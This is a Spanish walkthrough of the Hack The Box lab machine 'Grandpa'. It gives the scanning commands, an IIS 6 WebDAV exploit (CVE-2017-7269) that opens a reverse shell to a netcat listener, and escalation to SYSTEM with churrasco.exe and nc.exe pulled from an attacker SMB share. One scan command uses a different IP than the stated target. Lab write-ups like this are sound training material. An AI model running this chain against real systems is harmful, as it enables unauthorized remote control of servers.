Grandpa

En este artículo, vamos a abordar la resolución de la máquina Grandpa de la plataforma Hack The Box. En primer lugar, para ganar acceso al sistema explotaremos una vulnerabilidad presente en el servidor IIS 6. Esta es vulnerabilidad crítica en el servidor web Microsoft Internet Information Services (IIS), específicamente en el componente WebDAV (Web Distributed Authoring and Versioning). La vulnerabilidad permite a atacantes remotos ejecutar código arbitrario en el servidor afectado, potencialmente tomando control completo del sistema. Finalmente, para escalar nuestros privilegios abusaremos del privilegio SeImpersonatePrivilege
utilizando la utilidad churrasco.exe
.
Reconocimiento
Lanzamos una traza ICMP a la máquina víctima para comprobar que tengamos conectividad.

Vemos que responde al envío de nuestro paquete, verificando de esta manera que tenemos conectividad. Por otra parte, confirmamos que estamos frente a una máquina Windows basandonos en el TTL (Time To Live) 127.
Descubrimiento de puertos abiertos
Realizamos un escaneo con nmap
para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.
nmap -sS -p- --open --min-rate 5000 10.10.10.14 -n -Pn -oG scanPorts -vvv

Enumeración de versión y servicio
Lanzamos una serie de script básicos de enumeración propios de nmap
, para conocer la versión y servicio que esta corriendo bajo los puertos abiertos.
nmap -sCV -p21,80 10.10.10.5 -oN targeted -vvv

Explotación
Si ingresamos a la web que esta corriendo bajo el puerto 80, nos encontramos con lo siguiente:

Una página por defecto de una instancia del servidor IIS, en este caso en su versión 6.
Se realizamos un búsqueda en Google, podemos ver que IIS 6 cuenta con una vulnerabilidad critica catalogada bajo el CVE - CVE-2017-7269. Esta es vulnerabilidad crítica en el servidor web Microsoft Internet Information Services (IIS), específicamente en el componente WebDAV (Web Distributed Authoring and Versioning). La vulnerabilidad permite a atacantes remotos ejecutar código arbitrario en el servidor afectado, potencialmente tomando control completo del sistema. Dicha vulnerabilidad reside en el manejo incorrecto de las solicitudes HTTP por parte del componente WebDAV en IIS. Un atacante puede enviar una solicitud especialmente diseñada que incluye una cabecera "If: <http://
" lo que puede desencadenar un desbordamiento de buffer.
Para explotar esta vulnerabilidad, utilizaremos este exploit.
Descargamos el exploit:
git clone https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269
Ingresamos al directorio y renombramos el ejecutable para mayor comodidad.
cd iis6-exploit-2017-CVE-2017-7269
mv "iis6 reverse shell" iis.py
Nos ponemos en escucha con netcat por el puerto 443
.
rlwrap nc -lnvp 443
Ejecutamos el exploit.

Ganamos acceso al sistema como el usuario nt authority\network service
.

Escalación de privilegios
Si listamos los privilegios de nuestro usuario, podemos observar uno que destaca SeImpersonatePrivilege
.

nt authority\network service
El privilegio SeImpersonatePrivilege en Windows permite a un proceso suplantar (impersonar) a un usuario después de autenticarse. En otras palabras, le da a un proceso la capacidad de ejecutar acciones en nombre de otro usuario. Este privilegio es crucial para ciertos servicios y aplicaciones que necesitan realizar tareas en nombre de los usuarios, pero también puede ser un riesgo de seguridad si se abusa de él. Por ejemplo, un atacante con este privilegio podría suplantar a un administrador y realizar acciones maliciosas con altos privilegios.
Para escalar privilegios, podemos abusar de este privilegio utilizando la utilidad churrasco.exe
.
Descargamos la utilidad churrasco.exe y nc.exe.
Creamos un recurso compartido con impacket-smbserver
para poder transferir estos binarios a la máquina víctima.
impacket-smbserver -smb2support sharedFolder .
Descargamos los binarios en la máquina víctima.
copy \\10.10.14.2\sharedFolder\churrasco.exe churrasco.exe
copy \\10.10.14.2\sharedFolder\nc.exe nc.exe
Nos ponemos en escucha con netcat por el puerto 443
.
rlwrap nc -lnvp 443
Ejecutamos churrasco.exe
.

churrasco.exe
Ganamos acceso al sistema como nt authority\system
.

nt authority\system
Por ultimo, leemos los flags de user.txt
y root.txt
.

De esta forma, concluimos la resolución de la máquina Grandpa.
Espero que los conceptos hayan quedado claros. En caso de tener alguna duda, te invito a realizar nuevamente la máquina para afianzar tus conocimientos.
¡Gracias por leer!
Happy Hacking!
Última actualización